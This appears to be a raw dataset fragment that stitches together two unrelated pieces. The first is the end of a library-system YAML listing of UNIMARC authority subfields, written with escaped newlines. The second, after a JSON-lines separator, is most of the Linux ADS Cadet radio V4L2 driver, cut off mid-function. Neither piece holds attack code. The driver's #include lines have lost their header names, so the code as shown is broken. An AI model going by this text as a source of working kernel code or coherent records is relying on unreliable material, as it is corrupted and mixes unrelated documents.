tagfield: 801\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Citation\n repeatable: 0\n tab: 0\n tagfield: 810\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Information Found\n repeatable: 0\n tab: 0\n tagfield: 810\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Citation\n tab: 0\n tagfield: 815\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Note Text\n tab: 0\n tagfield: 820\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Note Text\n repeatable: 0\n tab: 0\n tagfield: 825\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Note Text\n tab: 0\n tagfield: 830\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Note Text\n tab: 0\n tagfield: 835\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Replacement Heading\n repeatable: 0\n tab: 0\n tagfield: 835\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Date of the transaction\n repeatable: 0\n tab: 0\n tagfield: 835\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Replaced Heading\n repeatable: 0\n tab: 0\n tagfield: 836\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Transaction date\n repeatable: 0\n tab: 0\n tagfield: 836\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Host Name\n tab: 0\n tagfield: 856\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Access Number\n tab: 0\n tagfield: 856\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Compression information\n tab: 0\n tagfield: 856\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Path\n tab: 0\n tagfield: 856\n tagsubfield: d\n - authtypecode: TM\n isurl: ~\n liblibrarian: Date and hour of consultation and access\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: e\n - authtypecode: TM\n isurl: ~\n liblibrarian: Electronic Name\n tab: 0\n tagfield: 856\n tagsubfield: f\n - authtypecode: TM\n isurl: ~\n liblibrarian: Uniform Resource Locator (URL)\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: g\n - authtypecode: TM\n isurl: ~\n liblibrarian: Processor of Request\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: h\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction\n tab: 0\n tagfield: 856\n tagsubfield: i\n - authtypecode: TM\n isurl: ~\n liblibrarian: Bits per second\n repeatable: 0\n tab: -1\n tagfield: 856\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Password\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: k\n - authtypecode: TM\n isurl: ~\n liblibrarian: Login/Logoff\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: l\n - authtypecode: TM\n isurl: ~\n liblibrarian: Contact for access assistance\n tab: 0\n tagfield: 856\n tagsubfield: m\n - authtypecode: TM\n isurl: ~\n liblibrarian: Name of location of host in subfield $a\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: n\n - authtypecode: TM\n isurl: ~\n liblibrarian: Operating System\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: o\n - authtypecode: TM\n isurl: ~\n liblibrarian: Port\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: p\n - authtypecode: TM\n isurl: ~\n liblibrarian: Electronic Format Type\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: q\n - authtypecode: TM\n isurl: ~\n liblibrarian: Settings\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: r\n - authtypecode: TM\n isurl: ~\n liblibrarian: File Size\n tab: 0\n tagfield: 856\n tagsubfield: s\n - authtypecode: TM\n isurl: ~\n liblibrarian: Terminal emulation\n tab: 0\n tagfield: 856\n tagsubfield: t\n - authtypecode: TM\n isurl: ~\n liblibrarian: Uniform Address Locator (URL)\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: u\n - authtypecode: TM\n isurl: ~\n liblibrarian: Access hours\n tab: 0\n tagfield: 856\n tagsubfield: v\n - authtypecode: TM\n isurl: ~\n liblibrarian: Record Control Number\n tab: 0\n tagfield: 856\n tagsubfield: w\n - authtypecode: TM\n isurl: ~\n liblibrarian: Nonpublic Note\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Access Method\n repeatable: 0\n tab: 0\n tagfield: 856\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Public Note\n tab: 0\n tagfield: 856\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: System code\n repeatable: 0\n tab: 0\n tagfield: 886\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Tag of the source format field\n tab: 0\n tagfield: 886\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Indicators and subfields of the source format field\n tab: 0\n tagfield: 886\n tagsubfield: b\nauthtags:\n - authtypecode: TM\n liblibrarian: ARK\n repeatable: 0\n tagfield: 003\n - authtypecode: TM\n liblibrarian: PPN\n repeatable: 0\n tagfield: 009\n - authtypecode: TM\n liblibrarian: Other ARK\n tagfield: 033\n - authtypecode: TM\n liblibrarian: 'Coded data field : historical period'\n repeatable: 0\n tagfield: 122\n - authtypecode: TM\n liblibrarian: Note on audience\n tagfield: 333\n - authtypecode: TM\n liblibrarian: 'See Also - Personal name'\n tagfield: 500\n - authtypecode: TM\n liblibrarian: 'See Also - Personal name responsible for the work'\n tagfield: 501\n - authtypecode: TM\n liblibrarian: 'See Also - Personal name responsible for the work'\n tagfield: 502\n - authtypecode: TM\n liblibrarian: 'See Also - Collectivity'\n tagfield: 510\n - authtypecode: TM\n liblibrarian: 'See Also - Personal name responsible for the work'\n tagfield: 511\n - authtypecode: TM\n liblibrarian: 'See Also - Collectivity associated with the expression'\n tagfield: 512\n - authtypecode: TM\n liblibrarian: 'See Also - Territorial or Geographical Name'\n tagfield: 515\n - authtypecode: TM\n liblibrarian: 'See Also - Publisher or printer'\n tagfield: 517\n - authtypecode: TM\n liblibrarian: 'See Also - Family'\n tagfield: 520\n - authtypecode: TM\n liblibrarian: 'See Also - Family responsible for the work'\n tagfield: 521\n - authtypecode: TM\n liblibrarian: 'See Also - Family associated with the expression'\n tagfield: 522\n - authtypecode: TM\n liblibrarian: 'See Also - Character'\n tagfield: 523\n - authtypecode: TM\n liblibrarian: 'See Also - Uniform title'\n tagfield: 530\n - authtypecode: TM\n liblibrarian: 'See Also - Title (work)'\n tagfield: 531\n - authtypecode: TM\n liblibrarian: 'See Also - Title (expression)'\n tagfield: 532\n - authtypecode: TM\n liblibrarian: 'See Also - Author/Title'\n tagfield: 540\n - authtypecode: TM\n liblibrarian: 'See Also - Name/Title (work)'\n tagfield: 541\n - authtypecode: TM\n liblibrarian: 'See Also - Name/Title (expression)'\n tagfield: 542\n - authtypecode: TM\n liblibrarian: 'See Also - Author/Classification section'\n tagfield: 545\n - authtypecode: TM\n liblibrarian: 'See Also - Topical Subject'\n tagfield: 550\n - authtypecode: TM\n liblibrarian: 'See Also - Place of publication'\n tagfield: 560\n - authtypecode: TM\n liblibrarian: 'See Also - Form, genre or physical characteristics'\n tagfield: 580\n - authtypecode: TM\n liblibrarian: 'Subject access point - Personal name'\n tagfield: 600\n - authtypecode: TM\n liblibrarian: 'Subject access point - Collectivité'\n tagfield: 601\n - authtypecode: TM\n liblibrarian: 'Subject access point - Family'\n tagfield: 602\n - authtypecode: TM\n liblibrarian: 'Subject access point - Common name'\n tagfield: 606\n - authtypecode: TM\n liblibrarian: 'Subject access point - Geographical name'\n tagfield: 607\n - authtypecode: TM\n liblibrarian: 'Subject access point - Uncontrolled subject'\n tagfield: 610\n - authtypecode: TM\n liblibrarian: 'Subject access point - Trademark'\n tagfield: 616\n - authtypecode: TM\n liblibrarian: 'Subject access point - Geographical name hierarchized'\n tagfield: 617\n - authtypecode: TM\n liblibrarian: 'Subject access point - Title (work)'\n tagfield: 631\n - authtypecode: TM\n liblibrarian: 'Subject access point - Title (expression)'\n tagfield: 632\n - authtypecode: TM\n liblibrarian: 'Subject access point - Place'\n tagfield: 640\n - authtypecode: TM\n liblibrarian: 'Subject access point - Name/Title (work)'\n tagfield: 641\n - authtypecode: TM\n liblibrarian: 'Subject access point - Name/Title (expression)'\n tagfield: 642\n"} +{"text": "/* radio-cadet.c - A video4linux driver for the ADS Cadet AM/FM Radio Card\n *\n * by Fred Gleason \n * Version 0.3.3\n *\n * (Loosely) based on code for the Aztech radio card by\n *\n * Russell Kroll (rkroll@exploits.org)\n * Quay Ly\n * Donald Song\n * Jason Lewis (jlewis@twilight.vtc.vsc.edu)\n * Scott McGrath (smcgrath@twilight.vtc.vsc.edu)\n * William McGrath (wmcgrath@twilight.vtc.vsc.edu)\n *\n * History:\n * 2000-04-29\tRussell Kroll \n *\t\tAdded ISAPnP detection for Linux 2.3/2.4\n *\n * 2001-01-10\tRussell Kroll \n *\t\tRemoved dead CONFIG_RADIO_CADET_PORT code\n *\t\tPnP detection on load is now default (no args necessary)\n *\n * 2002-01-17\tAdam Belay \n *\t\tUpdated to latest pnp code\n *\n * 2003-01-31\tAlan Cox \n *\t\tCleaned up locking, delay code, general odds and ends\n *\n * 2006-07-30\tHans J. Koch \n *\t\tChanged API to V4L2\n */\n\n#include \t/* Modules \t\t\t*/\n#include \t\t/* Initdata\t\t\t*/\n#include \t/* request_region\t\t*/\n#include \t/* udelay\t\t\t*/\n#include \t/* V4L2 API defs\t\t*/\n#include \n#include \n#include \n#include \t\t/* outb, outb_p\t\t\t*/\n#include \n#include \n#include \n#include \n#include \n\nMODULE_AUTHOR(\"Fred Gleason, Russell Kroll, Quay Lu, Donald Song, Jason Lewis, Scott McGrath, William McGrath\");\nMODULE_DESCRIPTION(\"A driver for the ADS Cadet AM/FM/RDS radio card.\");\nMODULE_LICENSE(\"GPL\");\nMODULE_VERSION(\"0.3.4\");\n\nstatic int io = -1;\t\t/* default to isapnp activation */\nstatic int radio_nr = -1;\n\nmodule_param(io, int, 0);\nMODULE_PARM_DESC(io, \"I/O address of Cadet card (0x330,0x332,0x334,0x336,0x338,0x33a,0x33c,0x33e)\");\nmodule_param(radio_nr, int, 0);\n\n#define RDS_BUFFER 256\n#define RDS_RX_FLAG 1\n#define MBS_RX_FLAG 2\n\nstruct cadet {\n\tstruct v4l2_device v4l2_dev;\n\tstruct video_device vdev;\n\tstruct v4l2_ctrl_handler ctrl_handler;\n\tint io;\n\tbool is_fm_band;\n\tu32 curfreq;\n\tint tunestat;\n\tint sigstrength;\n\twait_queue_head_t read_queue;\n\tstruct timer_list readtimer;\n\tu8 rdsin, rdsout, rdsstat;\n\tunsigned char rdsbuf[RDS_BUFFER];\n\tstruct mutex lock;\n\tint reading;\n};\n\nstatic struct cadet cadet_card;\n\n/*\n * Signal Strength Threshold Values\n * The V4L API spec does not define any particular unit for the signal\n * strength value. These values are in microvolts of RF at the tuner's input.\n */\nstatic u16 sigtable[2][4] = {\n\t{ 1835, 2621, 4128, 65535 },\n\t{ 2185, 4369, 13107, 65535 },\n};\n\nstatic const struct v4l2_frequency_band bands[] = {\n\t{\n\t\t.index = 0,\n\t\t.type = V4L2_TUNER_RADIO,\n\t\t.capability = V4L2_TUNER_CAP_LOW | V4L2_TUNER_CAP_FREQ_BANDS,\n\t\t.rangelow = 8320, /* 520 kHz */\n\t\t.rangehigh = 26400, /* 1650 kHz */\n\t\t.modulation = V4L2_BAND_MODULATION_AM,\n\t}, {\n\t\t.index = 1,\n\t\t.type = V4L2_TUNER_RADIO,\n\t\t.capability = V4L2_TUNER_CAP_STEREO | V4L2_TUNER_CAP_RDS |\n\t\t\tV4L2_TUNER_CAP_RDS_BLOCK_IO | V4L2_TUNER_CAP_LOW |\n\t\t\tV4L2_TUNER_CAP_FREQ_BANDS,\n\t\t.rangelow = 1400000, /* 87.5 MHz */\n\t\t.rangehigh = 1728000, /* 108.0 MHz */\n\t\t.modulation = V4L2_BAND_MODULATION_FM,\n\t},\n};\n\n\nstatic int cadet_getstereo(struct cadet *dev)\n{\n\tint ret = V4L2_TUNER_SUB_MONO;\n\n\tif (!dev->is_fm_band)\t/* Only FM has stereo capability! */\n\t\treturn V4L2_TUNER_SUB_MONO;\n\n\toutb(7, dev->io); /* Select tuner control */\n\tif ((inb(dev->io + 1) & 0x40) == 0)\n\t\tret = V4L2_TUNER_SUB_STEREO;\n\treturn ret;\n}\n\nstatic unsigned cadet_gettune(struct cadet *dev)\n{\n\tint curvol, i;\n\tunsigned fifo = 0;\n\n\t/*\n\t * Prepare for read\n\t */\n\n\toutb(7, dev->io); /* Select tuner control */\n\tcurvol = inb(dev->io + 1); /* Save current volume/mute setting */\n\toutb(0x00, dev->io + 1); /* Ensure WRITE-ENABLE is LOW */\n\tdev->tunestat = 0xffff;\n\n\t/*\n\t * Read the shift register\n\t */\n\tfor (i = 0; i < 25; i++) {\n\t\tfifo = (fifo << 1) | ((inb(dev->io + 1) >> 7) & 0x01);\n\t\tif (i < 24) {\n\t\t\toutb(0x01, dev->io + 1);\n\t\t\tdev->tunestat &= inb(dev->io + 1);\n\t\t\toutb(0x00, dev->io + 1);\n\t\t}\n\t}\n\n\t/*\n\t * Restore volume/mute setting\n\t */\n\toutb(curvol, dev->io + 1);\n\treturn fifo;\n}\n\nstatic unsigned cadet_getfreq(struct cadet *dev)\n{\n\tint i;\n\tunsigned freq = 0, test, fifo = 0;\n\n\t/*\n\t * Read current tuning\n\t */\n\tfifo = cadet_gettune(dev);\n\n\t/*\n\t * Convert to actual frequency\n\t */\n\tif (!dev->is_fm_band) /* AM */\n\t\treturn ((fifo & 0x7fff) - 450) * 16;\n\n\ttest = 12500;\n\tfor (i = 0; i < 14; i++) {\n\t\tif ((fifo & 0x01) != 0)\n\t\t\tfreq += test;\n\t\ttest = test << 1;\n\t\tfifo = fifo >> 1;\n\t}\n\tfreq -= 10700000; /* IF frequency is 10.7 MHz */\n\tfreq = (freq * 16) / 1000; /* Make it 1/16 kHz */\n\treturn freq;\n}\n\nstatic void cadet_settune(struct cadet *dev, unsigned fifo)\n{\n\tint i;\n\tunsigned test;\n\n\toutb(7, dev->io); /* Select tuner control */\n\t/*\n\t * Write the shift register\n\t */\n\ttest = 0;\n\ttest = (fifo >> 23) & 0x02; /* Align data for SDO */\n\ttest |= 0x1c; /* SDM=1, SWE=1, SEN=1, SCK=0 */\n\toutb(7, dev->io); /* Select tuner control */\n\toutb(test, dev->io + 1); /* Initialize for write */\n\tfor (i = 0; i < 25; i++) {\n\t\ttest |= 0x01; /* Toggle SCK High */\n\t\toutb(test, dev->io + 1);\n\t\ttest &= 0xfe; /* Toggle SCK Low */\n\t\toutb(test, dev->io + 1);\n\t\tfifo = fifo << 1; /* Prepare the next bit */\n\t\ttest = 0x1c | ((fifo >> 23) & 0x02);\n\t\toutb(test, dev->io + 1);\n\t}\n}\n\nstatic void cadet_setfreq(struct cadet *dev, unsigned freq)\n{\n\tunsigned fifo;\n\tint i, j, test;\n\tint curvol;\n\n\tfreq = clamp(freq, bands[dev->is_fm_band].rangelow,\n\t\t\t bands[dev->is_fm_band].rangehigh);\n\tdev->curfreq = freq;\n\t/*\n\t * Formulate a fifo command\n\t */\n\tfifo = 0;\n\tif (dev->is_fm_band) { /* FM */\n\t\ttest = 102400;\n\t\tfreq = freq / 16; /* Make it kHz */\n\t\tfreq += 10700; /* IF is 10700 kHz */\n\t\tfor (i = 0; i < 14; i++) {\n\t\t\tfifo = fifo << 1;\n\t\t\tif (freq >= test) {\n\t\t\t\tfifo |= 0x01;\n\t\t\t\tfreq -= test;\n\t\t\t}\n\t\t\ttest = test >> 1;\n\t\t}\n\t} else {\t/* AM */\n\t\tfifo = (freq / 16) + 450;\t/* Make it kHz */\n\t\tfifo |= 0x100000;\t\t/* Select AM Band */\n\t}\n\n\t/*\n\t * Save current volume/mute setting\n\t */\n\n\toutb(7, dev->io); /* Select tuner control */\n\tcurvol = inb(dev->io + 1);\n\n\t/*\n\t * Tune the card\n\t */\n\tfor (j = 3; j > -1; j--) {\n\t\tcadet_settune(dev, fifo | (j << 16));\n\n\t\toutb(7, dev->io); /* Select tuner control */\n\t\toutb(curvol, dev->io + 1);\n\n\t\tmsleep(100);\n\n\t\tcadet_gettune(dev);\n\t\tif ((dev->tunestat & 0x40) == 0) { /* Tuned */\n\t\t\tdev->sigstrength = sigtable[dev->is_fm_band][j];\n\t\t\tgoto reset_rds;\n\t\t}\n\t}\n\tdev->sigstrength = 0;\nreset_rds:\n\toutb(3, dev->io);\n\toutb(inb(dev->io + 1) & 0x7f, dev->io + 1);\n}\n\nstatic bool cadet_has_rds_data(struct cadet *dev)\n{\n\tbool result;\n\n\tmutex_lock(&dev->lock);\n\tresult = dev->rdsin != dev->rdsout;\n\tmutex_unlock(&dev->lock);\n\treturn result;\n}\n\n\nstatic void cadet_handler(unsigned long data)\n{\n\tstruct cadet *dev = (void *)data;\n\n\t/* Service the RDS fifo */\n\tif (mutex_trylock(&dev->lock)) {\n\t\toutb(0x3, dev->io); /* Select RDS Decoder Control */\n\t\tif ((inb(dev->io + 1) & 0x20) != 0)\n\t\t\tpr_err(\"cadet: RDS fifo overflow\\n\");\n\t\toutb(0x80, dev->io); /* Select RDS fifo */\n\n\t\twhile ((inb(dev->io) & 0x80) != 0) {\n\t\t\tdev->rdsbuf[dev->rdsin] = inb(dev->io + 1);\n\t\t\tif (dev->rdsin + 1 != dev->rdsout)\n\t\t\t\tdev->rdsin++;\n\t\t}\n\t\tmutex_unlock(&dev->lock);\n\t}\n\n\t/*\n\t * Service pending read\n\t */\n\tif (cadet_has_rds_data(dev))\n\t\twake_up_interruptible(&dev->read_queue);\n\n\t/*\n\t * Clean up and exit\n\t */\n\tinit_timer(&dev->readtimer);\n\tdev->readtimer.function = cadet_handler;\n\tdev->readtimer.data = data;\n\tdev->readtimer.expires = jiffies + msecs_to_jiffies(50);\n\tadd_timer(&dev->readtimer);\n}\n\nstatic void cadet_start_rds(struct cadet *dev)\n{\n\tdev->rdsstat = 1;\n\toutb(0x80, dev->io); /* Select RDS fifo */\n\tinit_timer(&dev->readtimer);\n\tdev->readtimer.function = cadet_handler;\n\tdev->readtimer.data = (unsigned long)dev;\n\tdev->readtimer.expires = jiffies + msecs_to_jiffies(50);\n\tadd_timer(&dev->readtimer);\n}\n\nstatic ssize_t cadet_read(struct file *file, char __user *data, size_t count, loff_t *ppos)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\tunsigned char readbuf[RDS_BUFFER];\n\tint i = 0;\n\n\tmutex_lock(&dev->lock);\n\tif (dev->rdsstat == 0)\n\t\tcadet_start_rds(dev);\n\tmutex_unlock(&dev->lock);\n\n\tif (!cadet_has_rds_data(dev) && (file->f_flags & O_NONBLOCK))\n\t\treturn -EWOULDBLOCK;\n\ti = wait_event_interruptible(dev->read_queue, cadet_has_rds_data(dev));\n\tif (i)\n\t\treturn i;\n\n\tmutex_lock(&dev->lock);\n\twhile (i < count && dev->rdsin != dev->rdsout)\n\t\treadbuf[i++] = dev->rdsbuf[dev->rdsout++];\n\tmutex_unlock(&dev->lock);\n\n\tif (i && copy_to_user(data, readbuf, i))\n\t\treturn -EFAULT;\n\treturn i;\n}\n\n\nstatic int vidioc_querycap(struct file *file, void *priv,\n\t\t\t\tstruct v4l2_capability *v)\n{\n\tstrlcpy(v->driver, \"ADS Cadet\", sizeof(v->driver));\n\tstrlcpy(v->card, \"ADS Cadet\", sizeof(v->card));\n\tstrlcpy(v->bus_info, \"ISA:radio-cadet\", sizeof(v->bus_info));\n\tv->device_caps = V4L2_CAP_TUNER | V4L2_CAP_RADIO |\n\t\t\t V4L2_CAP_READWRITE | V4L2_CAP_RDS_CAPTURE;\n\tv->capabilities = v->device_caps | V4L2_CAP_DEVICE_CAPS;\n\treturn 0;\n}\n\nstatic int vidioc_g_tuner(struct file *file, void *priv,\n\t\t\t\tstruct v4l2_tuner *v)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\n\tif (v->index)\n\t\treturn -EINVAL;\n\tv->type = V4L2_TUNER_RADIO;\n\tstrlcpy(v->name, \"Radio\", sizeof(v->name));\n\tv->capability = bands[0].capability | bands[1].capability;\n\tv->rangelow = bands[0].rangelow;\t /* 520 kHz (start of AM band) */\n\tv->rangehigh = bands[1].rangehigh; /* 108.0 MHz (end of FM band) */\n\tif (dev->is_fm_band) {\n\t\tv->rxsubchans = cadet_getstereo(dev);\n\t\toutb(3, dev->io);\n\t\toutb(inb(dev->io + 1) & 0x7f, dev->io + 1);\n\t\tmdelay(100);\n\t\toutb(3, dev->io);\n\t\tif (inb(dev->io + 1) & 0x80)\n\t\t\tv->rxsubchans |= V4L2_TUNER_SUB_RDS;\n\t} else {\n\t\tv->rangelow = 8320; /* 520 kHz */\n\t\tv->rangehigh = 26400; /* 1650 kHz */\n\t\tv->rxsubchans = V4L2_TUNER_SUB_MONO;\n\t}\n\tv->audmode = V4L2_TUNER_MODE_STEREO;\n\tv->signal = dev->sigstrength; /* We might need to modify scaling of this */\n\treturn 0;\n}\n\nstatic int vidioc_s_tuner(struct file *file, void *priv,\n\t\t\t\tconst struct v4l2_tuner *v)\n{\n\treturn v->index ? -EINVAL : 0;\n}\n\nstatic int vidioc_enum_freq_bands(struct file *file, void *priv,\n\t\t\t\tstruct v4l2_frequency_band *band)\n{\n\tif (band->tuner)\n\t\treturn -EINVAL;\n\tif (band->index >= ARRAY_SIZE(bands))\n\t\treturn -EINVAL;\n\t*band = bands[band->index];\n\treturn 0;\n}\n\nstatic int vidioc_g_frequency(struct file *file, void *priv,\n\t\t\t\tstruct v4l2_frequency *f)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\n\tif (f->tuner)\n\t\treturn -EINVAL;\n\tf->type = V4L2_TUNER_RADIO;\n\tf->frequency = dev->curfreq;\n\treturn 0;\n}\n\n\nstatic int vidioc_s_frequency(struct file *file, void *priv,\n\t\t\t\tconst struct v4l2_frequency *f)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\n\tif (f->tuner)\n\t\treturn -EINVAL;\n\tdev->is_fm_band =\n\t\tf->frequency >= (bands[0].rangehigh + bands[1].rangelow) / 2;\n\tcadet_setfreq(dev, f->frequency);\n\treturn 0;\n}\n\nstatic int cadet_s_ctrl(struct v4l2_ctrl *ctrl)\n{\n\tstruct cadet *dev = container_of(ctrl->handler, struct cadet, ctrl_handler);\n\n\tswitch (ctrl->id) {\n\tcase V4L2_CID_AUDIO_MUTE:\n\t\toutb(7, dev->io); /* Select tuner control */\n\t\tif (ctrl->val)\n\t\t\toutb(0x00, dev->io + 1);\n\t\telse\n\t\t\toutb(0x20, dev->io + 1);\n\t\treturn 0;\n\t}\n\treturn -EINVAL;\n}\n\nstatic int cadet_open(struct file *file)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\tint err;\n\n\tmutex_lock(&dev->lock);\n\terr = v4l2_fh_open(file);\n\tif (err)\n\t\tgoto fail;\n\tif (v4l2_fh_is_singular_file(file))\n\t\tinit_waitqueue_head(&dev->read_queue);\nfail:\n\tmutex_unlock(&dev->lock);\n\treturn err;\n}\n\nstatic int cadet_release(struct file *file)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\n\tmutex_lock(&dev->lock);\n\tif (v4l2_fh_is_singular_file(file) && dev->rdsstat) {\n\t\tdel_timer_sync(&dev->readtimer);\n\t\tdev->rdsstat = 0;\n\t}\n\tv4l2_fh_release(file);\n\tmutex_unlock(&dev->lock);\n\treturn 0;\n}\n\nstatic unsigned int cadet_poll(struct file *file, struct poll_table_struct *wait)\n{\n\tstruct cadet *dev = video_drvdata(file);\n\tunsigned long req_events = poll_requested_events(wait);\n\tunsigned int res = v4l2_ctrl_poll(file, wait);\n\n\tpoll_wait(file, &dev->read_queue, wait);\n\tif (dev->rdsstat == 0 && (req_events & (POLLIN | POLLRDNORM))) {\n\t\tmutex_lock(&dev->lock);\n\t\tif (dev->rdsstat == 0)\n\t\t\tcadet_start_rds(dev);\n\t\tmutex_unlock(&dev->lock);\n\t}\n\tif (cadet_has_rds_data(dev))\n\t\tres |= POLLIN | POLLRDNORM;\n\treturn res;\n}\n\n\nstatic const struct v4l2_file_operations cadet_fops = {\n\t.owner\t\t= THIS_MODULE,\n\t.open\t\t= cadet_open,\n\t.release \t= cadet_release,\n\t.read\t\t= cadet_read,\n\t.unlocked_ioctl\t= video_ioctl2,\n\t.poll\t\t= cadet_poll,\n};\n\nstatic const struct v4l2_ioctl_ops cadet_ioctl_ops = {\n\t.vidioc_querycap = vidioc_querycap,\n\t.vidioc_g_tuner = vidioc_g_tuner,\n\t.vidioc_s_tuner = vidioc_s_tuner,\n\t.vidioc_g_frequency = vidioc_g_frequency,\n\t.vidioc_s_frequency = vidioc_s_frequency,\n\t.vidioc_enum_freq_bands = vidioc_enum_freq_bands,\n\t.vidioc_log_status = v4l2_ctrl_log_status,\n\t.vidioc_subscribe_event = v4l2_ctrl_subscribe_event,\n\t.vidioc_unsubscribe_event = v4l2_event_unsubscribe,\n};\n\nstatic const struct v4l2_ctrl_ops cadet_ctrl_ops = {\n\t.s_ctrl = cadet_s_ctrl,\n};\n\n#ifdef CONFIG_PNP\n\nstatic struct pnp_device_id cadet_pnp_devices[] = {\n\t/* ADS Cadet AM/FM Radio Card */\n\t{.id = \"MSM0c24\", .driver_data = 0},\n\t{.id = \"\"}\n};\n\nMODULE_DEVICE_TABLE(pnp, cadet_pnp_devices);\n\nstatic int cadet_pnp_probe(struct pnp_dev *dev, const struct pnp_device_id *dev_id)\n{\n\tif (!dev)\n\t\treturn -ENODEV;\n\t/* only support one device */\n\tif (io > 0)\n\t\treturn -EBUSY;\n\n\tif (!pnp_port_valid(dev, 0))\n\t\treturn -ENODEV;\n\n\tio = pnp_port_start(dev, 0);\n\n\tprintk(KERN_INFO \"radio-cadet: PnP reports device at %#x\\n\", io);\n\n\treturn io;\n}\n\nstatic struct pnp_driver cadet_pnp_driver = {\n\t.name\t\t= \"radio-cadet\",\n\t.id_table\t= cadet_pnp_devices,\n\t.probe\t\t= cadet_pnp_probe,\n\t.remove\t\t= NULL,\n};\n\n#else\nstatic struct pnp_driver cadet_pnp_driver;\n#endif\n\nstatic void cadet_probe(struct cadet *dev)\n{\n\tstatic int iovals[8] = { 0x330, 0x332, 0x334, 0x336, 0x338, 0x33a, 0x33c, 0x33e };\n\tint i;\n\n\tfor (i = 0; i < 8; i++) {\n\t\tdev->io = iovals[i];\n\t\tif (request_region(dev->io, 2, \"cadet-probe\")) {\n\t\t\tcadet_setfreq(dev, bands[1].rangelow);\n\t\t\tif (cadet_getfreq(dev) == bands[1].rangelow) {\n\t\t\t\trelease_region(dev->io, 2);\n\t\t\t\treturn;\n\t\t\t}\n\t\t\trelease_region(dev->io, 2);\n\t\t}\n\t}\n\tdev->io = -1;\n}\n\n/*\n * io should only be set if the user has used something like\n * isapnp (the userspace program) to initialize this card for us\n */\n\nstatic int __init cadet_init(void)\n{\n\tstruct cadet *dev = &cadet_card;\n\tstruct v4l2_device *v4l2_dev = &dev->v4l2_dev;\n\tstruct v4l2_ctrl_handler *hdl;\n\tint res = -ENODEV;\n\n\tstrlcpy(v4l2_dev->name, \"cadet\", sizeof(v4l2_dev->name));\n\tmutex_init(&dev->lock);\n\n\t/* If a probe was requested then probe ISAPnP first (safest) */\n\tif (io < 0)\n\t\tpnp_register_driver(&cadet_pnp_driver);\n\tdev->io = io;\n\n\t/* If that fails then probe unsafely if probe is requested */\n\tif (dev->io < 0)\n\t\tcadet_probe(dev);\n\n\t/* Else we bail out */\n\tif (dev->io < 0) {\n#ifdef MODULE\n\t\tv4l2_err(v4l2_dev, \"you must set an I/O address with io=0x330, 0x332, 0x334,\\n\");\n\t\tv4l2_err(v4l2_dev, \"0x336, 0x338, 0x33a, 0x33c or 0x33e\\n\");\n#endif\n\t\tgoto fail;\n\t}\n\tif (!request_region(dev->io, 2, \"cadet\"))\n\t\tgoto fail;\n\n\tres = v4l2_device_register(NULL, v4l2_dev);\n\tif (res < 0) {\n\t\trelease_region(dev->io, 2);\n\t\tv4l2_err(v4l2_dev, \"could not register v4l2_device\\n\");\n\t\tgoto fail;\n\t}\n\n\thdl = &dev->ctrl_handler;\n\tv4l2_ctrl_handler_init(hdl, 2);\n\tv4l2_ctrl_new_std(hdl, &cadet_ctrl_ops,\n\t\t\tV4L2_CID_AUDIO_MUTE, 0, 1, 1, 1);\n\tv4l2_dev->ctrl_handler = hdl;\n\tif (hdl->error) {\n\t\tres = hdl->error;\n\t\tv4l2_err(v4l2_dev, \"Could not register controls\\n\");\n\t\tgoto err_hdl;\n\t}\n\n\tdev->is_fm_band = true;\n\tdev->curfreq = bands[dev->is_fm_band].rangelow;\n\tcadet_setfreq(dev, dev->curfreq);\n\tstrlcpy(dev->vdev.name, v4l2_dev->name, sizeof(dev->vdev.name));\n\tdev->vdev.v4l2_dev = v4l2_dev;\n\tdev->vdev.fops = &cadet_fops;\n\tdev->vdev.ioctl_ops = &cadet_ioctl_ops;\n\tdev->vdev.release = video_device_release_empty;\n\tdev->vdev.lock = &dev->lock;\n\tvideo_set_drvdata(&dev->vdev, dev);\n\n\tres = video_register_device(&dev->vdev, VFL_TYPE_RADIO, radio_nr);\n\tif (res < 0)\n\t\tgoto err_hdl;\n\tv4l2_info(v4l2_dev, \"ADS Cadet Radio Card at 0x%x\\n\", dev->io);\n\treturn 